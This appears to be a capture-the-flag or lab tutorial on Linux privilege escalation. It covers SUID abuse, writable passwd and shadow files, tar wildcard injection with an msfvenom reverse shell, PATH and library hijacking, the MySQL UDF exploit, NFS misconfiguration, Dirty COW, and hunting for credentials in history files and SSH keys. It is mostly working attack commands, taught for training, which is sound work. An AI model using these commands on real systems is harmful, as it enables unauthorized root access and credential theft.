¶ Introduction
What does "privilege escalation" mean?
At it's core, Privilege Escalation usually involves going from a lower permission to a higher permission. More technically, it's the exploitation of a vulnerability, design flaw or configuration oversight in an operating system or application to gain unauthorized access to resources that are usually restricted from the users.
Why is it important?
Rarely when doing a CTF or real-world penetration test, will you be able to gain a foothold (initial access) that affords you administrator access. Privilege escalation is crucial, because it lets you gain system administrator levels of access. This allow you to do many things, including:
- Reset passwords
- Bypass access controls to compromise protected data
- Edit software configurations
- Enable persistence, so you can access the machine again later.
- Change privilege of users
- Get that cheeky root flag ;)
As well as any other administrator or super user commands that you desire.
¶ Types of escalation
Privilege Tree:
There are two main privilege escalation variants:
- Horizontal privilege escalation: This is where you expand your reach over the compromised system by taking over a different user who is on the same privilege level as you. For instance, a normal user hijacking another normal user (rather than elevating to super user). This allows you to inherit whatever files and access that user has. This can be used, for example, to gain access to another normal privilege user, that happens to have an SUID file attached to their home directory (more on these later) which can then be used to get super user access. [Travel sideways on the tree]
- Vertical privilege escalation (privilege elevation): This is where you attempt to gain higher privileges or access, with an existing account that you have already compromised. For local privilege escalation attacks this might mean hijacking an account with administrator privileges or root privileges. [Travel up on the tree]
¶ Enumeration
What is LinEnum?
LinEnum is a simple bash script that performs common commands related to privilege escalation, saving time and allowing more effort to be put toward getting root. It is important to understand what commands LinEnum executes, so that you are able to manually enumerate privesc vulnerabilities in a situation where you're unable to use LinEnum or other like scripts. In this room, we will explain what LinEnum is showing, and what commands can be used to replicate it.
Where to get LinEnum
You can download a local copy of LinEnum from:
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
It's worth keeping this somewhere you'll remember, because LinEnum is an invaluable tool.
How do I get LinEnum on the target machine?
There are two ways to get LinEnum on the target machine. The first way, is to go to the directory that you have your local copy of LinEnum stored in, and start a Python web server using "python3 -m http.server 8000" [1]. Then using "wget" on the target machine, and your local IP, you can grab the file from your local machine [2]. Then make the file executable using the command "chmod +x FILENAME.sh".
[1]
[2]
Other Methods
In case you're unable to transport the file, you can also, if you have sufficient permissions, copy the raw LinEnum code from your local machine [1] and paste it into a new file on the target, using Vi or Nano [2]. Once you've done this, you can save the file with the ".sh" extension. Then make the file executable using the command "chmod +x FILENAME.sh". You now have now made your own executable copy of the LinEnum script on the target machine!
[1]
[2]
Running LinEnum
LinEnum can be run the same way you run any bash script, go to the directory where LinEnum is and run the command "./LinEnum.sh".
Understanding LinEnum Output
The LinEnum output is broken down into different sections, these are the main sections that we will focus on:
Kernel Kernel information is shown here. There is most likely a kernel exploit available for this machine.
Can we read/write sensitive files: The world-writable files are shown below. These are the files that any authenticated user can read and write to. By looking at the permissions of these sensitive files, we can see where there is misconfiguration that allows users who shouldn't usually be able to, to be able to write to sensitive files.
SUID Files: The output for SUID files is shown here. There are a few interesting items that we will definitely look into as a way to escalate privileges. SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. It allows the file to run with permissions of whoever the owner is. If this is root, it runs with root permissions. It can allow us to escalate privileges.
Crontab Contents: The scheduled cron jobs are shown below. Cron is used to schedule commands at a specific time. These scheduled commands or tasks are known as “cron jobs”. Related to this is the crontab command which creates a crontab file containing commands and instructions for the cron daemon to execute. There is certainly enough information to warrant attempting to exploit Cronjobs here.
There's also a lot of other useful information contained in this scan. Lets have a read!
¶ Abusing SGID/SUID files
Finding and Exploiting SUID Files
The first step in Linux privilege escalation exploitation is to check for files with the SUID/GUID bit set. This means that the file or files can be run with the permissions of the file(s) owner/group. In this case, as the super-user. We can leverage this to get a shell with these privileges!
What is an SUID binary?
As we all know in Linux everything is a file, including directories and devices which have permissions to allow or restrict three operations i.e. read/write/execute. So when you set permission for any file, you should be aware of the Linux users to whom you allow or restrict all three permissions. Take a look at the following demonstration of how maximum privileges (rwx-rwx-rwx) look:
r = read
w = write
x = execute
user group others
rwx rwx rwx
421 421 421
The maximum number of bit that can be used to set permission for each user is 7, which is a combination of read (4) write (2) and execute (1) operation. For example, if you set permissions using "chmod" as 755, then it will be: rwxr-xr-x.
But when special permission is given to each user it becomes SUID or SGID. When extra bit “4” is set to user(Owner) it becomes SUID (Set user ID) and when bit “2” is set to group it becomes SGID (Set Group ID).
Therefore, the permissions to look for when looking for SUID is:
SUID:
rws-rwx-rwx
GUID:
rwx-rws-rwx
Finding SUID Binaries
We already know that there is SUID capable files on the system, thanks to our LinEnum scan. However, if we want to do this manually we can use the command:
find / -perm -u=s -type f 2>/dev/nullto search the file system for SUID/GUID files. Let's break down this command.
find - Initiates the "find" command
/ - Searches the whole file system
-perm - searches for files with specific permissions
-u=s - Any of the permission bits mode are set for the file. Symbolic modes are accepted in this form
-type f - Only search for files
2>/dev/null - Suppresses errors
¶ Exploiting writable /etc/passwd
Continuing with the enumeration of users, we found that user7 is a member of the root group with gid 0. And we already know from the LinEnum scan that /etc/passwd file is writable for the user. So from this observation, we concluded that user7 can edit the /etc/passwd file.
Understanding /etc/passwd
The /etc/passwd file stores essential information, which is required during login. In other words, it stores user account information. The /etc/passwd is a plain text file. It contains a list of the system’s accounts, giving for each account some useful information like user ID, group ID, home directory, shell, and more.
The /etc/passwd file should have general read permission as many command utilities use it to map user IDs to user names. However, write access to the /etc/passwd must only limit for the superuser/root account. When it doesn't, or a user has erroneously been added to a write-allowed group. We have a vulnerability that can allow the creation of a root user that we can access.
Understanding /etc/passwd format
The /etc/passwd file contains one entry per line for each user (user account) of the system. All fields are separated by a colon : symbol. Total of seven fields as follows. Generally, /etc/passwd file entry looks as follows:
test:x:0:0:root:/root:/bin/bash
[as divided by colon (:)]
Username: It is used when user logs in. It should be between 1 and 32 characters in length.
Password: An x character indicates that encrypted password is stored in /etc/shadow file. Please note that you need to use the passwd command to compute the hash of a password typed at the CLI or to store/update the hash of the password in /etc/shadow file, in this case, the password hash is stored as an "x".
User ID (UID): Each user must be assigned a user ID (UID). UID 0 (zero) is reserved for root and UIDs 1-99 are reserved for other predefined accounts. Further UID 100-999 are reserved by system for administrative and system accounts/groups.
Group ID (GID): The primary group ID (stored in /etc/group file)
User ID Info: The comment field. It allow you to add extra information about the users such as user’s full name, phone number etc. This field use by finger command.
Home directory: The absolute path to the directory the user will be in when they log in. If this directory does not exists then users directory becomes /
Command/shell: The absolute path of a command or shell (/bin/bash). Typically, this is a shell. Please note that it does not have to be a shell.
How to exploit a writable /etc/passwd
It's simple really, if we have a writable /etc/passwd file, we can write a new line entry according to the above formula and create a new user! We add the password hash of our choice, and set the UID, GID and shell to root. Allowing us to log in as our own root user!
Before we add our new user, we first need to create a compliant password hash to add! We do this by using the command: "openssl passwd -1 -salt [salt] [password]"
The /etc/passwd file contains information about user accounts. It is world-readable, but usually only writable by the root user. Historically, the /etc/passwd file contained user password hashes, and some versions of Linux will still allow password hashes to be stored there.
Note that the /etc/passwd file is world-writable:
ls -l /etc/passwdGenerate a new password hash with a password of your choice:
openssl passwd newpasswordhereEdit the /etc/passwd file and place the generated password hash between the first and second colon (:) of the root user's row (replacing the "x").
Switch to the root user, using the new password:
su rootAlternatively, copy the root user's row and append it to the bottom of the file, changing the first instance of the word "root" to "newroot" and placing the generated password hash between the first and second colon (replacing the "x").
Now switch to the newroot user, using the new password:
su newroot
¶ GTFOBins: Escaping vi
Sudo -l
This exploit comes down to how effective our user account enumeration has been. Every time you have access to an account during a CTF scenario, you should use "sudo -l" to list what commands you're able to use as a super user on that account. Sometimes, like this, you'll find that you're able to run certain commands as a root user without the root password. This can enable you to escalate privileges.
Escaping Vi
Running this command on the "user8" account shows us that this user can run vi with root privileges. This will allow us to escape vim in order to escalate privileges and get a shell as the root user!
Misconfigured Binaries and GTFOBins
If you find a misconfigured binary during your enumeration, or when you check what binaries a user account you have access to can access, a good place to look up how to exploit them is GTFOBins. GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. It provides a really useful breakdown of how to exploit a misconfigured binary and is the first place you should look if you find one on a CTF or Pentest.
¶ GTFOBins: exploiting crontab
What is Cron?
The Cron daemon is a long-running process that executes commands at specific dates and times. You can use this to schedule activities, either as one-time events or as recurring tasks. You can create a crontab file containing commands and instructions for the Cron daemon to execute.
How to view what Cronjobs are active.
We can use the command "cat /etc/crontab" to view what cron jobs are scheduled. This is something you should always check manually whenever you get a chance, especially if LinEnum, or a similar script, doesn't find anything.
Format of a Cronjob
Cronjobs exist in a certain format, being able to read that format is important if you want to exploit a cron job.
# = ID
m = Minute
h = Hour
dom = Day of the month
mon = Month
dow = Day of the week
user = What user the command will run as
command = What command should be run
For Example,
# m h dom mon dow user command
17 * 1 * * * root cd / && run-parts --report /etc/cron.hourly
How can we exploit this?
We know from our LinEnum scan, that the file autoscript.sh, on user4's Desktop is scheduled to run every five minutes. It is owned by root, meaning that it will run with root privileges, despite the fact that we can write to this file. The task then is to create a command that will return a shell and paste it in this file. When the file runs again in five minutes the shell will be running as root.
File permissions
Check whether crontrab files are writable
Environment variables
Check the environment variables of the crontab
GTFOBin vulnerabilies
View the contents of the other cron job script:
cat /usr/local/bin/compress.shNote that the tar command is being run with a wildcard (*) in your home directory.
Take a look at the GTFOBins page for tar. Note that tar has command line options that let you run other commands as part of a checkpoint feature.
Use msfvenom on your Kali box to generate a reverse shell ELF binary. Update the LHOST IP address accordingly:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elfTransfer the shell.elf file to /home/user/ on the Debian VM (you can use scp or host the file on a webserver on your Kali box and use wget). Make sure the file is executable:
chmod +x /home/user/shell.elfCreate these two files in /home/user:
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elfWhen the tar command in the cron job runs, the wildcard (*) will expand to include these files. Since their filenames are valid tar command line options, tar will recognize them as such and treat them as command line options rather than filenames.
Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener.
nc -nvlp 4444Remember to exit out of the root shell and delete all the files you created to prevent the cron job from executing again:
rm /home/user/shell.elf
rm /home/user/--checkpoint=1
rm /home/user/--checkpoint-action=exec=shell.elf¶ Exploiting PATH variable
What is PATH?
PATH is an environmental variable in Linux and Unix-like operating systems which specifies directories that hold executable programs. When the user runs any command in the terminal, it searches for executable files with the help of the PATH Variable in response to commands executed by a user.
It is very simple to view the Path of the relevant user with help of the command "echo $PATH".
How does this let us escalate privileges?
Let's say we have an SUID binary. Running it, we can see that it’s calling the system shell to do a basic process like list processes with "ps". Unlike in our previous SUID example, in this situation we can't exploit it by supplying an argument for command injection, so what can we do to try and exploit this?
We can re-write the PATH variable to a location of our choosing! So when the SUID binary calls the system shell to run an executable, it runs one that we've written instead!
As with any SUID file, it will run this command with the same privileges as the owner of the SUID file! If this is root, using this method we can run whatever commands we like as root!
Example:
The /usr/local/bin/suid-env executable can be exploited due to it inheriting the user's PATH environment variable and attempting to execute programs without specifying an absolute path.
First, execute the file and note that it seems to be trying to start the apache2 webserver:
/usr/local/bin/suid-envRun strings on the file to look for strings of printable characters:
strings /usr/local/bin/suid-envOne line ("service apache2 start") suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.
Compile the code located at /home/user/tools/suid/service.c into an executable called service. This code simply spawns a Bash shell:
gcc -o service /home/user/tools/suid/service.cPrepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid-env executable to gain a root shell:
PATH=.:$PATH /usr/local/bin/suid-env
¶ Shared object injection
The /usr/local/bin/suid-so SUID executable is vulnerable to shared object injection.
First, execute the file and note that currently it displays a progress bar before exiting:
/usr/local/bin/suid-soRun strace on the file and search the output for open/access calls and for "no such file" errors:
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
Note that the executable tries to load the /home/user/.config/libcalc.so shared object within our home directory, but it cannot be found.
Create the .config directory for the libcalc.so file:
mkdir /home/user/.configExample shared object code can be found at /home/user/tools/suid/libcalc.c. It simply spawns a Bash shell. Compile the code into a shared object at the location the suid-so executable was looking for it:
gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.cExecute the suid-so executable again, and note that this time, instead of a progress bar, we get a root shell.
/usr/local/bin/suid-so
¶ SUID/SGID binary abuse: shell features
¶ Abusing functions
The /usr/local/bin/suid-env2 executable is identical to /usr/local/bin/suid-env except that it uses the absolute path of the service executable (/usr/sbin/service) to start the apache2 webserver.
Verify this with strings:
strings /usr/local/bin/suid-env2In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.
Verify the version of Bash installed on the Debian VM is less than 4.2-048:
/bin/bash --versionCreate a Bash function with the name "/usr/sbin/service" that executes a new Bash shell (using -p so permissions are preserved) and export the function:
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/serviceRun the suid-env2 executable to gain a root shell:
/usr/local/bin/suid-env2
¶ Abusing bash debug
When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.
Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2Run the /tmp/rootbash executable with -p to gain a shell running with root privileges:
/tmp/rootbash -pRemember to remove the /tmp/rootbash executable and exit out of the elevated shell before continuing as you will create this file again later in the room!
rm /tmp/rootbash
exit
¶ Finding passwords
If a user accidentally types their password on the command line instead of into a password prompt, it may get recorded in a history file.
View the contents of all the hidden history files in the user's home directory:
cat ~/.*history | lessNote that the user has tried to connect to a MySQL server at some point, using the "root" username and a password submitted via the command line. Note that there is no space between the -p option and the password!
Config files often contain passwords in plaintext or other reversible formats.
List the contents of the user's home directory:
ls /home/userNote the presence of a myvpn.ovpn config file. View the contents of the file:
cat /home/user/myvpn.ovpnThe file should contain a reference to another location where the root user's credentials can be found.
Sometimes users make backups of important files but fail to secure them with the correct permissions.
Look for hidden files & directories in the system root:
ls -la /
Note that there appears to be a hidden directory called .ssh. View the contents of the directory:
ls -l /.ssh
Note that there is a world-readable file called root_key. Further inspection of this file should indicate it is a private SSH key. The name of the file suggests it is for the root user.
Copy the key over to your Kali box (it's easier to just view the contents of the root_key file and copy/paste the key) and give it the correct permissions, otherwise your SSH client will refuse to use it:
chmod 600 root_key
Use the key to login to the Debian VM as the root account:
ssh -i root_key root@MACHINE_IP
¶ MySQL
The MySQL service is running as root and the "root" user for the service does not have a password assigned. We can use a popular exploit that takes advantage of User Defined Functions (UDFs) to run system commands as root via the MySQL service.
Change into the /home/user/tools/mysql-udf directory:
cd /home/user/tools/mysql-udfCompile the raptor_udf2.c exploit code using the following commands:
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lcConnect to the MySQL service as the root user with a blank password:
mysql -u rootExecute the following commands on the MySQL shell to create a User Defined Function (UDF) "do_system" using our compiled exploit:
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';Use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission:
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
Exit out of the MySQL shell (type exit or \q and press Enter) and run the /tmp/rootbash executable with -p to gain a shell running with root privileges:
/tmp/rootbash -p
Remember to remove the /tmp/rootbash executable and exit out of the root shell before continuing as you will create this file again later in the room!
rm /tmp/rootbash
exit
¶ Weak /etc/shadow
¶ Readable
The /etc/shadow file contains user password hashes and is usually readable only by the root user.
Note that the /etc/shadow file on the VM is world-readable:
ls -l /etc/shadowView the contents of the /etc/shadow file:
cat /etc/shadowEach line of the file represents a user. A user's password hash (if they have one) can be found between the first and second colons (:) of each line.
Save the root user's hash to a file called hash.txt on your Kali VM and use john the ripper to crack it. You may have to unzip /usr/share/wordlists/rockyou.txt.gz first and run the command using sudo depending on your version of Kali:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txtSwitch to the root user, using the cracked password:
su root
¶ Writable
The /etc/shadow file contains user password hashes and is usually readable only by the root user.
Note that the /etc/shadow file on the VM is world-writable:
ls -l /etc/shadowGenerate a new password hash with a password of your choice:
mkpasswd -m sha-512 newpasswordhereEdit the /etc/shadow file and replace the original root user's password hash with the one you just generated.
Switch to the root user, using the new password:
su root
¶ Other GTFOBin’s
List the programs which sudo allows your user to run:
sudo -lVisit GTFOBins (https://gtfobins.github.io) and search for some of the program names. If the program is listed with "sudo" as a function, you can use it to elevate privileges, usually via an escape sequence.
Choose a program from the list and try to gain a root shell, using the instructions from GTFOBins.
For an extra challenge, try to gain a root shell using all the programs on the list!
¶ Environment variables (LD_PRELOAD and LD_LIBRARY_PATH)
¶ Sudo
Sudo can be configured to inherit certain environment variables from the user's environment.
Check which environment variables are inherited (look for the env_keep options):
sudo -lLD_PRELOAD and LD_LIBRARY_PATH are both inherited from the user's environment. LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.
Create a shared object using the code located at /home/user/tools/sudo/preload.c:
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.cRun one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_PRELOAD environment variable to the full path of the new shared object:
sudo LD_PRELOAD=/tmp/preload.so program-name-hereA root shell should spawn. Exit out of the shell before continuing. Depending on the program you chose, you may need to exit out of this as well.
Run ldd against the apache2 program file to see which shared libraries are used by the program:
ldd /usr/sbin/apache2
Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library_path.c:
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.cRun apache2 using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp (where we output the compiled shared object):
sudo LD_LIBRARY_PATH=/tmp apache2A root shell should spawn. Exit out of the shell. Try renaming /tmp/libcrypt.so.1 to the name of another library used by apache2 and re-run apache2 using sudo again. Did it work? If not, try to figure out why not, and how the library_path.c code could be changed to make it work.
¶ Using NFS
Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user.
Check the NFS share configuration on the Debian VM:
cat /etc/exports
Note that the /tmp share has root squashing disabled.
On your Kali box, switch to your root user if you are not already running as root:
sudo su
Using Kali's root user, create a mount point on your Kali box and mount the /tmp share (update the IP accordingly):
mkdir /tmp/nfsmount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs
Still using Kali's root user, generate a payload using msfvenom and save it to the mounted share (this payload simply calls /bin/bash):
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
Still using Kali's root user, make the file executable and set the SUID permission:
chmod +xs /tmp/nfs/shell.elf
Back on the Debian VM, as the low privileged user account, execute the file to gain a root shell:
/tmp/shell.elf
¶ Kernel exploits
Kernel exploits can leave the system in an unstable state, which is why you should only run them as a last resort.
Run the Linux Exploit Suggester 2 tool to identify potential kernel exploits on the current system:
perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl
The popular Linux kernel exploit "Dirty COW" should be listed. Exploit code for Dirty COW can be found at /home/user/tools/kernel-exploits/dirtycow/c0w.c. It replaces the SUID file /usr/bin/passwd with one that spawns a shell (a backup of /usr/bin/passwd is made at /tmp/bak).
Compile the code and run it (note that it may take several minutes to complete):
gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w./c0w
Once the exploit completes, run /usr/bin/passwd to gain a root shell:
/usr/bin/passwd
Remember to restore the original /usr/bin/passwd file and exit the root shell before continuing!
mv /tmp/bak /usr/bin/passwdexit
¶ Further learning
There is never a "magic" answer in the huge area that is Linux Privilege Escalation. This is simply a few examples of basic things to watch out for when trying to escalate privileges.The only way to get better at it, is to practice and build up experience. Checklists are a good way to make sure you haven't missed anything during your enumeration stage, and also to provide you with a resource to check how to do things if you forget exactly what commands to use.
Below is a list of good checklists to apply to CTF or penetration test use cases.Although I encourage you to make your own using CherryTree or whatever notes application you prefer.
- https://github.com/netbiosX/Checklists/blob/master/Linux-Privilege-Escalation.md
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
- https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html
- https://payatu.com/guide-linux-privilege-escalation